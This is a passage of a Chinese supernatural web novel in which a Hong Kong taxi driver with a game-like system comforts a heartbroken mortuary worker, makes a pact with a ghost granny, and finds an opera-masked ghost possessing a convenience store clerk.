他几乎可以肯定,问题的关键,十有**就藏在那家电台!
想明白后,古德也瞬间放松了不少。
随后他集中精神,呼唤出脑海中的系统面板,想看看现在的家底能有多少,能不能给法力加上一点。
半透明的光幕在意识中展开:
【姓名:古德】
【体质:7/10】(提升肉体强度、耐力、恢复力)
【魅力:8/10】(提升亲和力、说服力、外在形象)
【精神:7/10】(提升思维速度、记忆力、意志力、法力恢复速度)
【法力:2/∞】
【公里点数:329.6】
【掌握技能:】
基础呼吸法LV2、八极拳LV2、、玄门先天咒炼LV2、老木匠手艺LV2、老木匠符书LV2、华夏风水研究LV2、收鬼符LV1、镇鬼符LV1、化煞符LV2、斩鬼符LV2.....
看着面板上的数据,古德叹了口气,有点小郁闷。
“329.6点……还是有些太少了,啥也干不了啊。”
他嘀咕着。
体质、魅力、精神、法力这三个主要属性后面的“+”号都是灰色的,显然这点公里数已经不够再次加点了。
看来随着基础属性的提升,每次加点所需的“费用”也在增加。
这破系统连个使用说明书都没有,一切全靠自己摸索,真是坑爹。
至于技能方面,目前主要的几个技能都点到了LV2,暂时够用。
新学的几种基础符箓也都在LV1入门级,对付一般的游魂野鬼和简单情况也勉强能应付。
再往上点,消耗肯定更大,这点公里数还是捉襟见肘。
“穷啊!还是得努力赚钱……哦不,是努力赚公里数!”
古德无奈地摇摇头,暂时压下了立刻去电台探查的冲动。
工欲善其事,必先利其器。
状态不满、底牌不足就贸然去可能更危险的地方,那是找死。
关掉系统面板,他起身走到书房。
书桌上,那柄铜钱剑、桃木剑和小香炉静静地摆放着,旁边还贴着几张微微发光的“聚灵符”。
经过一夜的温养,它们散发出的灵性波动似乎比昨天又微弱地增强了那么一丝丝,与自己的联系也紧密了一分。
“看来普通人拿着开过光的法器,确实也能有点用。”
古德想起昨天周星星拿着铜钱剑乱挥也能逼退恶鬼的情景,摸了摸下巴。
以后要是遇到靠谱的队友,倒是可以给他们准备点防身的东西……不过材料难找,温养更耗时间和法力,还是得省着点用。”
他盘膝坐下,闭上眼睛,开始运
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转“基础呼吸法”。
丝丝缕缕微弱的天地能量随着他悠长的呼吸被吸纳进来,汇入丹田,缓慢地补充着几乎干涸的法力。
纸扎陈说这个天地的灵气已经漏光,但是古德也不知道他的呼吸法从哪里汲取而来的能量。
伴随着呼吸法的运转,精神上的疲惫也在这有节奏的吐纳中缓缓消散。
不过他没有像之前那样强行通宵修炼。
法力可以慢慢恢复,但精神的深度疲劳必须通过真正的睡眠来修复。
经历过几次恶战,他更明白留得青山在,不怕没柴烧的道理。
温养了大约一个多小时法器,感觉法力恢复了少许,精神上的倦意也涌了上来后,古德便起身洗漱,直接上床睡觉。
这一夜,他睡得格外沉。
第二天早上,阳光透过窗帘缝隙照进房间。
古德自然醒来,伸了个大大的懒腰,感觉神清气爽,昨天的疲惫和虚弱感一扫而空。
不仅法力自动回满,精神头也已经彻底恢复。
“新的一天,新的开始!”
他心情不错地起床洗漱,看着镜子里那张帅脸,给自己打了打气。
“今天的目标很简单——努力开车,努力赚公里数!攒够本钱,再把实力提升一截!”
至于电台的事情……
他早上起来后已经给谢潮打了个电话,简单说了一下自己的怀疑,让谢潮那边以警方调查案件的名义,先去那家“鬼话连篇”电台摸摸底,查查档案。
他自己暂时不打算直接介入。
毕竟,赚公里数和提升自身实力,才是现阶段最重要、最稳妥的事情。
穿上衣服,拿起车钥匙,古德推开家门。
清晨的阳光和略带咸味的空气扑面而来,街道上已经开始响起车流和市井的嘈杂声。
红色的皇冠出租车驶出阴阳路,汇入这座繁华都市早晨的车流之中。
古德看了一眼身旁空着的副驾驶和跳动的计价器,嘴角露出一丝笑意。
“来吧,新的一天!看看今天能遇到什么有趣的客人,能赚到多少宝贵的公里数!”
第51章 遇到郑立的暗恋对象
夜幕缓缓降临,华灯初上,香江的夜生活拉开了序幕。
霓虹灯招牌闪烁不定,街道上车流如织,行人匆匆。
古德开着出租车,穿梭在灯火通明的街道上。
今天白天倒是风平浪静,没遇到什么灵异事件,生意也还不错,公里点数稳步增长,让他难得地放松了一下紧绷的神经。
“趁着今天生意好,晚上再多跑几单,攒够点数早点把法力上限提上去才是正事。”
古德心里盘算着,目光扫视着路边可能招手的乘客。
这时,他看到一个穿着素色连衣裙、拎着个小包、神情有些恍惚落寞的年轻女人站在路边,正无力地抬着手。
古德减速,靠边停下。
女人拉开车门,坐了进来,身上带着一股淡淡的消毒水和…一种极微弱的、难以形容的、类似于陈旧纸张和冷库混合的独特气味。
这种气味古德有点熟悉,常在殡仪馆附近闻到。
“师傅,去西环,万安殡仪馆。”
女人的声音有些沙哑,带着浓浓的疲惫和一丝不易察觉的哭腔。
古德透过后视镜瞥了她一眼。
脸色有些苍白,眼圈微红,像是刚哭过,但确确实实是个大活人,身上阳气虽弱,却并无阴煞缠身的迹象。
“万安殡仪馆?郑立那家伙的地盘?”
古德心里嘀咕了一句,面上不动声色,应了一声:“好的。”
便按下计价器,发动了车子。
车子汇入车流,车厢内一时陷入沉默,只有引擎的轰鸣和窗外城市的喧嚣。
开了大概五六分钟,后排的女人忽然幽幽地开口,像是在问古德,又像是在自言自语:
“师傅……你相信这个世界上,有真正的爱情吗?”
古德握着方向盘的手微微一顿,从后视镜里看到女人那副失魂落魄、仿佛对一切都失去信心的样子,心里大概猜到了几分。
他没有立刻回答,这种时候,沉默有时候比任何安慰都有效。
女人见古德没说话,自顾自地继续说了下去,声音带着哽咽:
“我以前是相信的,而且我以为他不介意我的工作……可是……可是今天就因为我是给**化妆整理的……他就……他就说受不了,觉得晦气,觉得脏……跟我分手了……”
她的声音越来越低,充满了委屈和绝望。
古德安静地听着,心里已然明了。
这女人,恐怕就是郑立那个暗恋多年、在电影里最终为情所困而****的心上人——红姐了。
看来,剧情发展到她失恋崩溃的时间点了。
看在和郑立相识一场、而且对方人还不错的份上,古德觉得还是有必要拉一把,免得又一个好端端的人想不开香消玉殒。
他依旧目视前方开着车,语气平淡地开口,打破了车厢内悲伤的氛围:
“爱情不爱情的,我不懂,也没空研究那个。”
阿红闻言一愣,似乎没想到司机会这么回答,下意识地抬起头。
古德继续用那种没什么起伏的语调说道:
“不过,你身上现在死气倒是挺重的,我倒是能看出来。”
“死气?”
阿红被这突如其来的古怪词汇弄得一怔,暂时从自怨自艾的情绪中脱离出来,茫然地问道。
“什么死气?我身上有什么气?”
古德淡淡一笑,语气却带着一丝不容置疑的笃定:
“人一旦心里萌生了寻死的念头,万念俱灰,精气神就会散掉,身上自然会散发出一种类似于死气的消极能量。
这种东西,普通人感觉不到。你现在,就有这种气。”
阿红心里猛地一惊,瞳孔微微收缩!
她的确在被男友无情抛弃后,感到极度绝望,刚才一路上甚至真的闪过一些轻生的念头!
这个出租车司机……他怎么知道的?!
她难以置信地看着古德的后脑勺。
古德没有理会她的震惊,继续用他那套混合了心理学和玄学的话术说道:
“其实吧,你也不用太伤心。他觉得你的工作脏,那是他眼界低、没见识、心理承受能力差。
给先人整理遗容,让他们体面地走完最后一程,是积阴德的善事,是份正经工作,靠自己的双手和专业技能吃饭,有什么丢人的?
就像我开出租车,天天拉各种各样的客人,三教九流都接触,难道就低人一等了?都是为了生活,不偷不抢,光明正大。”
他顿了顿,语气加重了几分:
“而且,你应该感到庆幸才对。幸好是现在看清了他的真面目,要是等结婚生子以后他才暴露出来,那才叫真的惨!及时止损,是福气。”
阿红听着这些话,眼神闪烁,似乎被说动了一些。
古德话锋一转,抛出了重磅**:
“还有啊,你不知道的是,其实一直有个人,默默喜欢了你很多年,从来就没觉得你的工作有什么问题,反而觉得你很坚强,很了不起。”
“什么?!”
阿红猛地睁大了眼睛,身体前倾
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,紧紧抓住前排座椅的靠背,急切地问道,“你……你认识我?你怎么会知道?是谁?!”
古德没有绕圈子,直接给出了答案:
“万安殡仪馆的经理,郑立。我和他是朋友。他亲口跟我说的,暗恋你很久了,就是一直胆子小,不敢跟你表白,现在后悔得肠子都青了。我看他现在就挺不错的,为人踏实可靠,关键是他懂你。”
郑立没有和古德说过,但是不妨碍古德说这个善意的谎言。
“阿立?”阿红彻底呆住了,脸上露出难以置信的表情。
她确实对那位总是默默关心她、有时会笨拙地找借口跟她说话的郑立有点好感,但从未想过对方竟然暗恋自己这么多年。
随即,她的眼神又黯淡下去,低下头,声音苦涩:“可是……可是我……我现在这个样子……怎么还配得上他……”
“到了。”古德将车平稳地停在万安殡仪馆门口的路边,拉起手刹。
他转过头,认真地看着阿红:“没有什么配不配得上的。关键是你的心。别钻牛角尖。”
说着,他从口袋里摸出一张折成三角形的“辟邪符”。
他怀疑阿红原本的命运里突然**,可能不全是自身绝望,说不定也有什么孤魂野鬼或者更阴损的“找替身”的家伙在趁机蛊惑心智。
这符多少能起到一点安神定魂、抵御外邪的作用。
他把符纸递给阿红:“这张符你拿着,放在贴身的包里或者口袋里,能安神辟邪。
算是我替郑立给你的。记住,珍惜眼前人,别为了一棵歪脖子树,放弃整片森林。我看得出来,你对他也不是完全没感觉。”
阿红愣愣地接过那张触手微温、带着淡淡朱砂味的黄色符纸,下意识地将其小心地放进了自己的钱包夹层里。
然后又恍惚地掏出车费递给古德。
“谢谢……师傅……”
她低声说了一句,推开门下车,步履有些蹒跚地走向殡仪馆,但背影似乎不再像刚才那样充满死寂,多了几分思索和迷茫。
古德看着她走进殡仪馆大门,摇了摇头,叹了口气:
“问世间情为何物……唉,麻烦。”
他现在一心只想赚公里数和提升实力,女人只会影响他拔剑的速度和画符的精准度!
心中无女人,拔剑自然神!
他收回目光,准备再次发动车子,继续他的赚公里数大业。
就在这时,副驾驶的车门突然毫无征兆地“咔哒”一声,自己打开了!
第52章 岚婆?龙婆?(再次为各位魅魔的礼物加更~)
紧接着,一个穿着深色偏襟衫、头发梳得一丝不苟、面色苍白但带着些许笑意的老婆婆,无声无息地坐了进来,还自顾自地拉上了车门。
古德心中一惊,但定睛一看,顿时松了口气,随即又有些好奇。
来的不是别人,正是他刚获得阴阳眼时,看到的那个、长得酷似演员罗岚的鬼阿婆!
岚婆坐稳后,转过头,对着古德露出一个笑容。
虽然笑容因为鬼体的缘故显得有些僵硬和阴森,但眼神里却并没有恶意:
“小伙子,我们又见面了。看来你最近……进步不小啊。”
她似乎能感觉到古德身上那微弱但确实存在的法力波动。
古德如今经历了不少风浪,底气足了很多,面对这位神秘的鬼阿婆也不再像最初那样紧张。
他礼貌地笑了笑,问道:“阿婆,您好。这次找我,是有什么事吗?”
“不用那么客气,都是熟人了,叫我岚婆就好。”
岚婆点了点头,声音飘忽却清晰:
“我有点事要回一趟阴阳路,去我妹妹那里一趟。方便送我一程吗?到地方我会付车钱的。”
她所谓的车钱,自然不是阳间的纸币。
古德正好也打算收工回家,顺路带她一程也无妨,便点头答应:
“没问题,顺路。您坐稳了。”
他发动车子,朝着阴阳路的方向驶去。
路上,古德想起之前的疑问,便开口问道:
“岚婆,冒昧问一下,您……好像一直没有去投胎?是有什么心愿未了吗?”
他记得鬼魂长时间滞留阳间,通常要么有心愿,要么有怨气。
岚婆闻言,笑了笑,解释道:
“投胎?暂时不用了。托我妹妹的福,她用了不少积攒的阴德,在下面疏通了点关系,帮我走了个后门。我现在算是……嗯,挂靠在鬼差体系下的临时工吧。”
“临时工?”古德一愣,这地府还有临时工编制?
“是啊,”岚婆语气带着点无奈和自嘲,“不用去投胎受苦,但也不算正式鬼差。得靠自己多积累阴德功劳,等攒够了,才能转正,混个正式的鬼差编制,到时候就有稳定的‘香火俸禄’和地府福利了。”
她顿了顿,继续说道:
“所以我现在的主要任务,就是跟我妹妹配合,尽量把那些滞留在香江、阴寿已尽却不肯下去,或者到处害人的孤魂野鬼、恶灵怨魂,抓起来或者引导下去,交给下面的鬼差。每成功一个,都能算一点功劳,积攒阴德。”
古德听得啧啧称奇,没想到地府办事也这么……接地气?
他好奇地追问:“岚婆,那为什么其他的正式鬼差不能直接上来抓呢?还要您这样的‘临时工’来忙活?”
岚婆叹了口气,表情变得严肃了一些:
“这个世界……唉,说起来复杂。好像是本身出了点问题,规则有了漏洞,导致阴气容易积聚,鬼物滋生泛滥,而且人死后变成鬼的概率也大大增加了。
这种异常的状态,会对来自地府的正式鬼差产生很强的排斥力,他们很难直接进来,就算强行进来,力量也会被大幅削弱,搞不好自己都会陷在这里。”
“只有等到那些鬼物的‘阴寿’彻底耗尽,或者被消灭时,它们与这个世界的联系变弱,排斥力减小,负责接引的鬼差才能短暂地出现一下,完成交接。
但很多厉害的恶鬼凶灵,都有办法隐藏自己、延长阴寿,甚至躲避鬼差的感知,一直逍遥法外,到处害人。”
“而我呢,因为生前就是这个世界的人,魂魄本质与这里契合,所以受到的排斥力小很多,才能相对自由地活动。
不过我也没啥大本事,就靠着一点鬼差临时工的身份赋予的小权限,抓抓小鬼、引导一下迷路的游魂还行,遇到真正厉害的厉鬼,我也只能躲着走。”
古德听完这番解释,顿时恍然大悟!
原来如此!
怪不得这个世界妖魔鬼怪那么多,动不动就撞鬼,原来根源是世界规则出了bug,导致地府的鬼差进不来,只能靠本地临时工岚婆这样的和像谢潮这样的人来勉强维持秩序!
“那岚婆,”古德心中一动,想到了一个关键问题,“您能看出来一个人身上有多少‘阴德’吗?”
他惦记着系统里可能存在的隐藏属性。
岚婆转过头,那双没有多少神采的眼睛仔细地打量了古德一番,然后摇了摇头:
“看不出来。阴德这东西,是直接记录在生死簿上的,深藏在魂魄最深处,除非是判官级别的大人物,或者有特殊的宝物,否则像我们这种底层办事的,是看不穿的。”
她顿了顿,补充道:
“不过,只要你做了超度亡魂、**恶鬼、维护阴阳秩序之类对地府有益的事情,生死簿上自然会有记载,功德不会少的。
举头三尺有神明,呃……或者说,天地自有记录,放心吧。”
古德点了点头,神情间带着一丝遗憾,却也能够理解。
沉吟片刻,他忽然换了个角度,提出了一个更为实际的想法。
“岚婆,”他压低声音,带着几分试探,“那以后我如果遇到一些游魂野鬼,或者抓到那些害人的恶鬼,能不能交给您?这样一来,您能拿去交差积攒阴德,而我这边……是不是也能分润一点阴德?”
说到最后,他眼神微微一亮。
虽然古德并不清楚阴德对他有没有直接好处,但他的直觉告诉他,阴德或许能和系统挂钩,说不定能开启隐藏属性。
若真是如此,那可就赚大发了。
岚婆听到这个提议,显得有些意外,苍白的脸上露出更明显的笑意:
“哦?小伙子你还有这本事?能抓鬼?好啊!当然可以!你要是真能抓到,交给我那是再好不过了!”
“放心,功劳和阴德肯定有你的一份!我老婆子不会贪墨你的功劳!大家互利互惠嘛!”
“那
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太好了!”古德心中一喜,“那我该怎么联系您呢?总不能每次都靠偶遇吧?”
岚婆想了想,说道:
“简单。以后你需要找我的时候,就在午夜子时左右,找个偏僻点的十字路口,点上三炷香,心里默念我的名字‘岚婆’,连念三遍。我如果感应到了,又在附近,就会过来找你。”
她顿了顿,仿佛想起什么,又补充了一句:
“又或者……你也可以去找我妹。她能联系到我,我会提前和她说好你的情况。”
“你妹?”
古德挑了挑眉,有些意外。
岚婆点点头,目光中闪过一丝笑意:“她就住在阴阳路438号,名叫龙婆。”
“龙婆?”
古德喃喃重复,随即眼神一凛,心中暗暗震动。
这个名字,他再熟悉不过。
香江不少恐怖片里都有龙婆的身影。
这些龙婆她们或救人、或害人。
虽真假难辨,但有一点是公认的,这些龙婆,多少都掌握着超出常人的本事。
“成!我记住了!”
古德虽然内心诧异,不过表面上爽快地答应下来。
思绪翻涌间,车子已经拐入阴阳路附近。
夜色渐浓,阴阳路的这条街道上几乎没有行人,偶尔有几盏昏黄路灯闪烁不定,像是随时可能熄灭。
古德按照岚婆的指示,把车停在一个僻静的路口。
“就这里吧,谢谢你了,小伙子。”
岚婆笑了笑,身影逐渐变淡,如同融入夜色中的雾气,悄无声息地消失了。
寂静的座位上,却平白多出了一张纸币。
古德一愣,下意识伸手拾起。
纸币的质感冰凉,和港币截然不同,图案古怪模糊,纸面隐隐泛着灰白色的光泽。
仔细看,又觉得和纸扎铺里烧的冥钞完全不同。
难道……这就是传说中的冥币?
古德眯起眼,翻来覆去端详半晌,却看不出更多玄妙,只觉得这张冥币在夜风中竟没有半点飘摇的轻薄感,反而沉甸甸的,似乎带着某种力量。
他心念一转,索性把冥币小心地收进包里。
等下次再遇到岚婆,得好好问问清楚。
再次发动汽车时,古德嘴角不由自主地勾起一抹笑意。
今晚的收获颇丰,不仅可能救下了一个人,还意外打通了一条能够获取“阴德”的渠道。
其实他也想过,自己老是多管闲事,是不是太圣母心了。
可是作为一个在后世从小看公益广告长大的那批人。
导致他现在内心黄黄的,说话脏脏的,唯独不是坏坏的。
在力所能及的范围内,又对自己利益没有损失的情况下。
能拉一把,也是问心无愧了。
想到这里,古德长长的吐出一口气。
也是,问心无愧就好了。
就算在这个有鬼的港综世界,也要跟着自己的心走!
回家~接下来的日子会更精彩!
第53章 周五火锅日
日子一天天过去,风平浪静,仿佛之前那几天的惊心动魄只是一场幻觉。
香江依旧繁华喧嚣,车水马龙。
谢潮那边传来消息,他带人去查了那家“鬼话连篇”午夜电台,结果发现早已人去楼空,设备搬得一干二净,只剩下空荡荡的办公室和一些废弃的稿纸。
这更加印证了古德的猜测。
那电台本身就有问题,很可能是个专门吸引和滋生阴邪之气的据点。
不过线索暂时断了,也只能先搁置。
郑琛的案子也有了结果。
虽然有郑立花大价钱请了不错的律师,但过失致人死亡和交通肇事逃逸的罪名是跑不掉的。
最终被判了几年**。
不过比起电影里惨死的结局,能保住一条命,在监狱里蹲几年反省,已经算是非常好的结果了。
郑立对此已经很感激了。
中间郑立还特地抽空来阴阳路找过古德一趟,不是为了他堂弟,而是为了阿红的事。
他提着水果和点心,真心实意地向古德道谢,语气里充满了后怕和庆幸:
“古大师,这次真的太谢谢你了!阿红都跟我说了,要不是你那天开导她,又点醒了我……我真不敢想象她会做出什么傻事!要是她真的……我真的会后悔一辈子!”
古德看着他真情流露的样子,笑了笑,拍了拍他肩膀:
“行了,阿立,过去的事就别提了。缘分到了就好好把握,珍惜眼前人比什么都强。我看阿红姑娘经过这事,也成熟了不少,对你好像也有意思,你可别再怂了。”
郑立憨厚地笑了笑,连连点头,脸上泛起一丝不易察觉的红晕。
转眼又到了周五晚上。
古德在这段时间里,赚了有1000点的公里点数。
加上之前的,足足有了1230点,不过目前他留着没有用掉。
夜幕降临,华灯初上,周末的喧嚣渐渐弥漫开来。
古德刚洗完澡,正准备随便弄点吃的,就听到一阵毫不客气的敲门声。
“德仔!开门!德仔!我知道你在家!”
周星星那特有的大嗓门隔着门板传了进来。
古德无奈地走过去打开门。
只见门口站着两个人,正是谢潮和周星星。
谢潮手里拎着两个大大的超市购物袋,里面塞满了各种火锅食材。
肥牛卷、羊肉片、鱼丸、虾饺、青菜、豆腐……琳琅满目。
周星星则空着手,笑嘻嘻地站在旁边,一副来了老弟的表情。
“喂,你们两个大佬,来之前能不能打个电话先?搞突然袭击啊?”
古德侧身让他们进来,嘴里吐槽道。
周星星毫不客气地挤了进来,熟门熟路地换上拖鞋,嘴里嚷嚷着:
“打电话多没惊喜啊!周五晚上嘛,当然要一起吃火锅才热闹!谢Sir请客,我负责吃,你出场地和锅,公平合理!”
他现在已经正式调到了谢潮的“特别事务处理科”,虽然还是个见习探员,但已经摆脱了交通警的黄色制服,穿着便装,整个人看起来精神了不少,也更能耍宝了。
谢潮把食材放到厨房的桌子上,解释道:“阿星说你这边地方宽敞,清净,适合聚餐。我就买了点东西过来,顺便聊聊。”
他看了一眼古德,补充了一句,“放心,都是好料,不打表。”
古德白了他一眼:“废话,来我家吃火锅还想打表?你想得美!”
他嘴上嫌弃,但还是去厨房把那个有点年头的电火锅拿了出来清洗。
周星星自告奋勇地跑去洗菜切菜,动作居然还挺麻利,看来一个人生活久了,基本的生存技能还是点满了的。
谢潮和古德则坐在客厅的沙发上暂时休息。
谢潮从随身带着的一个黑色小手提箱里,取出了一个看起来颇为精致的黑色硬壳眼镜盒,递给古德。
“喏,看看这个。”
古德好奇地接过来,打开盒子。
里面躺着一副看起来非常普通、甚至有点老土的黑框眼镜,镜片看起来就是普通的树脂片,没什么特别。
“这什么?送我的礼物?款式也太老气了吧?我不要,不符合我帅气的气质。”
古德拿起眼镜掂量了一下,没发现什么异常,又放了回去,嫌弃地推还给谢潮。
谢潮没好气地拿起眼镜,解释道:
“谁送你了!美得你!这是我师父最近捣鼓出来的新玩意儿,他管这个叫阴阳镜。”
“阴阳镜?”古德一听这名头,来了点兴趣,又拿回来仔细看了看,“就这?怎么看也就是个普通眼镜啊?地摊货五十块一副顶天了。”
“你懂什么!”
谢潮有些得意地推了推自己鼻梁上那副帅气的眼镜,“我师父说了,这镜框是用雷击枣木的边角料粉混合特殊树脂压制的,镜片是用坟场老墓碑磨的石英粉镀膜处理的,内框还刻了你提供的微缩‘开眼符’纹路。
普通人戴上它,就能直接看到鬼魂灵体!虽然效果比不上天生的阴阳眼,也比不上你那种柳叶开眼的法术,但胜在方便快捷,不用法力催动,随戴随看!怎么样,厉害吧?”
古德闻言,再次拿起那副眼镜,仔细端详,果然在镜框内侧看到一些极其细微、用朱砂描绘的复杂纹路,隐隐能感觉到一丝微弱的能量波动。
他忍不住啧啧称奇:“陈老板真是……鬼才啊!这种点子都能想出来?这要是能量产,得卖多少钱一副啊?”
古德不得不感慨,不愧是能发明箱神和要你命三千的达文西,这手搓能见鬼的眼镜,果然是个神人。
“量产?”
谢潮嗤笑一声,“想得美!材料难找,刻画符纹极耗心神,我师父折腾了半个月也就成功做出这么一副样品,差点没把他老腰累断。
他说这玩意儿以后就作为我们部门的标配装备了,省得每次出任务都要麻烦你或者用柳叶开眼,麻烦**。”
他说着,小心翼翼地把眼镜收回盒子里。
古德笑了笑,也没太在意。
他有真正的阴阳眼,谢潮也有阴阳眼,这眼镜对他们确实用处不大,对周星星这样的普通人来说,还的确是一个宝贝。
谢潮放好眼镜,表情稍微认真了一些,对古德说道:
“对了,德仔,你教我那呼吸法,我最近一直在练,感觉确实有用!丹田里那团气好
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像壮大了不少,运转起来也更顺畅了,精神头好了很多,晚上值班都不怎么犯困了。
就是……不知道还要练多久,才能像你一样,练出真正的法力?能画符施法那种。”
古德闻言,心中一动,用手放在谢潮的丹田微微感应了一下谢潮体内的气息。
果然,他丹田中那团由呼吸法凝聚的能量气流,比之前浑厚凝实了不少,而且性质正在发生微妙的改变,似乎处于一种量变即将引起质变的临界点,距离炼化出第一缕真正的法力已经不远了。
古德心里不禁有些感叹:这谢潮的天赋还真不错!是因为他本身命格特殊?还是因为这个电影世界的主角光环加持缘故?
照这个速度下去,恐怕用不了多久,他就能正式踏入“凝法境”了。
“快了,照这个进度,最多再有个把星期,你应该就能炼出第一缕法力了。”
古德给出了一个比较乐观的估计。
随即,他心思活络起来。
谢潮如果能炼出法力,那岂不是个现成的……劳动力?
画符可是个耗神耗力的活儿,虽然他自己画得快,但架不住种类多、消耗大啊!
如果能让谢潮也学会画一些基础符箓,比如“辟邪符”、“镇魂符”之类的,到时候自己就能省下不少法力和时间,专注于温养法器和修炼更高级的技能……
想到这里,古德嘴角不由自主地勾起一抹算计的弧度,眼神闪烁着“资本家”的光芒。
正美滋滋想着法力修炼的谢潮,突然没来由地打了个寒颤,后背一阵发凉,他狐疑地左右看了看:
“咦?怎么突然感觉有点冷?好像被什么不好的东西盯上了?”
就在这时,周星星从厨房探出头来,手里拿着几根洗好的葱,嚷嚷道:
“德仔!你家冰箱怎么回事啊?除了几罐过期汽水,连瓶啤酒都没有!吃火锅没啤酒,就像叉烧包没馅~没有灵魂啊~!”
古德这才想起来,前几天把冰箱里的存货清空后,一直忙着开车赚公里数,忘了去补充了。
他站起身,对周星星说道:
“行了行了,别嚎了。我现在就去楼下便利店买。你们还需要什么别的吗?一次性说完。”
周星星想了想:“多买点啤酒!冰的!再买几瓶可乐橙汁什么的给谢Sir这种不喝酒的装逼犯。其他的……嗯,好像不缺了,肉和菜都够多了。”
“知道了。”古德拿起钱包和钥匙,对谢潮说,“阿潮,走吧,陪我跑一趟,东西多我一个人拿不了。顺便你不是说要买烟吗?”
谢潮点了点头,站起身,和周星星交代了一句:“阿星,你先准备着,把锅底弄上,我们很快回来。”
“没问题!保证等你们回来水开肉熟!”
周星星拍着胸脯保证道,转身又钻回了厨房。
古德和谢潮两人一前一后下了楼,朝着街角那家新开不久的“便利佳”便利店走去。
周五的夜晚,但是这条街道人影还是很萧条,毕竟这可是远近驰名的阴阳路。
两人并肩走在人行道上,有一搭没一搭地聊着天,暂时将那些灵异诡事抛在了脑后。
第54章 便利店惊魂
古德和谢潮两人并肩朝着街角那家灯火通明的“便利佳”便利店走去。
晚风带着些许凉意,吹散了白天的燥热。
离便利店还有十几米远,古德忽然停下了脚步,眉头不自觉地皱了起来。
他眯起眼睛,仔细打量着那家看起来和周围店铺没什么两样的便利店。
不对劲。
非常不对劲。
这不是风水格局上的问题,而是一种更直观、更强烈的感觉,有一种割裂感。
那家便利店明明就在那里,霓虹招牌亮着,玻璃窗透出白光……但古德感觉它仿佛被一层无形的、冰冷的薄膜包裹着。
与周围充满生活气息的街道格格不入,像是一幅鲜活油画上被硬生生贴上去的一张色调阴郁的旧照片。
“怎么了,德仔?”
谢潮见古德突然停下,表情凝重地盯着便利店,也立刻警觉起来,压低声音问道。
他虽然还没有法力,看不见阴气,但长期处理特殊事件培养出的直觉告诉他,前面那家店肯定有问题。
古德没有立刻回答,在他眼中,那家便利店的整个轮廓都被一层如同墨汁般的灰黑色阴气所笼罩!
这阴气极其浓烈,将便利店内外彻底隔绝开来!
浓郁的怨念和死寂的气息从中散发出来,令人心悸。
“好家伙……好重的阴气!几天不见,这家店都干了什么!”
古德低声对谢潮说道,“这店被极强的阴煞之气完全包裹住了,里面肯定有大家伙!小心点!”
谢潮闻言,脸色也严肃起来,手下意识地摸向了后腰藏着的灭魂**。
他虽然看不见,但能感受到古德语气里的紧张。
“什么情况?比上次那八个速成恶鬼还凶?”
“感觉不一样,”古德摇摇头,“上次是量多但质杂,这次……里面的阴气更精纯,怨念也更集中,恐怕是个成了气候的老牌恶鬼!走,过去看看,见机行事。”
他深吸一口气,从裤兜里摸出一张时刻备着的斩鬼符,夹在指间。
自从上次在后巷里被三个影魇堵得差点命丢在臭水沟里后,古德就养成了随身带几张保命符箓的习惯。
哪怕只是出门买个烧鹅饭,也要揣两张在身上才安心。
“扑街,连便利店都不让人清净。”
他心里腹诽了一句,目光依旧死死盯着前方。
谢潮也拔出枪,打开保险,压低身形,警惕地跟在古德侧后方。
两人小心翼翼地靠近便利店门口。
两人脚步极轻地靠近便利店门口,外面路灯的光斑打在玻璃门上,泛着一层冷白的反光。
透过那扇贴着各式折扣贴纸、玻璃上还挂着几缕细碎纸屑的自动感应门,可以勉强看清店内的情景。
在普通人眼里,里面的场景大概是这样的。
一个穿着便利店制服、脸色苍白发青、表情狰狞扭曲的男收银员,像是发疯了一样,追着店里的两男两女满屋子乱跑!
那四个人吓得哇哇乱叫,躲闪不及,货架被撞得东倒西歪,商品散落一地,场面一片混乱。
但是在古德眼中,看到的却完全是另一幅画面。
在那个男收银员的背上,正紧紧贴附着一个模糊的、散发着浓郁黑气的鬼影!
那鬼影与收银员重叠在一起,四肢纤长,轮廓怪诞,像是某种异样的戏偶。
它同样穿着便利店制服,但它脸上却画着浓墨重彩、又因怨气扭曲而显得无比狰狞恐怖的京剧脸谱!
红、白、黑三色交错,线条如刀割般锋利,眼角诡异地上扬,嘴唇猩红得像是沾着血,整张鬼脸扭曲着,透着一股子邪戾与疯狂!
这戏子鬼如同操控提线木偶般,附着在收银员身后,操控着他的身体做出各种夸张扭曲的动作,时不时发出“咿咿呀呀”的、不成调的戏文唱腔。
声音尖利刺耳,充满了戏谑。
它似乎并不急于立刻杀死那四个人,而是在享受这种猫捉老鼠般的戏弄和恐惧。
而在便利店最里面的角落阴影里,还呆呆地站着三个模糊的的虚影。
同样是便利店制服,两男一女,眼神空洞,表情麻木,像被抽空了魂魄的木偶,笔直地立在角落里,只是静静地“看”着眼前的混乱。
它们身上也散发着淡淡的怨气,但远比那戏子鬼微弱得多,更像是……被禁锢在此地、动弹不得的地缚灵?
“一、二、三、四……四个?”
谢潮凑近古德,压低声音数着,眉头紧锁,眼角余光始终不离开那被附身的收银员。
“角落里那三个呆呆的怎么回事?还有附身收银员那个鬼东西……看起来比上次那些水货凶多了!这煞气隔着玻璃都能感觉到!”
古德的目光微微眯起,快速扫过那附身的戏子鬼,结合其形态特征和散发出的独特怨念气息,脑海中飞快翻找着自己以前看过的各种典籍和资料。
“附身那个,是戏煞!”
古德低声快速解释道。
“一种比较少见又难缠的恶鬼!通常是生前痴迷戏曲,后来含恨**或横死的人所化!怨气极重,又带着生前的执念和表演欲,死后常以戏子形象出现,脸谱就是它们怨念和身份的显化!”
“这种鬼喜欢附身他人,操控他人如同演戏般重复其死亡过程或者演绎其心中怨念,极其凶戾!而且看这阴气的浓度和操控自如的程度,这东西灵智不低,不是那种只知道杀戮的低级怨灵!”
他顿了顿,余光扫向角落里那三个呆滞的虚影,眉心微蹙:“角落里那三个,怨气很弱,魂体飘忽,像是被强行禁锢在这里的‘观众’……或者
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之前的受害者?暂时没什么威胁。”
古德脑海中隐约浮现出某部冷门老电影的情节片段,这场景和画面像极了他当年深夜看过的一段桥段……
不过那电影太小众了,他记得也不是很清楚。
倒是谢潮很淡定:“戏煞?唱戏的变的鬼?你准备怎么办,直接进去干它?”
古德没有立刻回答,只是仔细观察着那戏煞的动作节奏,发现它虽然戏弄着那四个活人,但似乎并没有立刻下**的意思,更像是在进行某种扭曲的表演。
“这东西有灵智,而且执念很深,或许……可以试试沟通?”
他心中暗暗盘算着。
强行开打也不是不行,只是惹怒了这个戏煞恶鬼,他能保证自己和谢潮全身而退,但那四个男女可就悬了。
先看看能不能用“嘴炮”……啊不,是用语言的艺术和谈判技巧稳住它,或许能找到更好的解决方式。
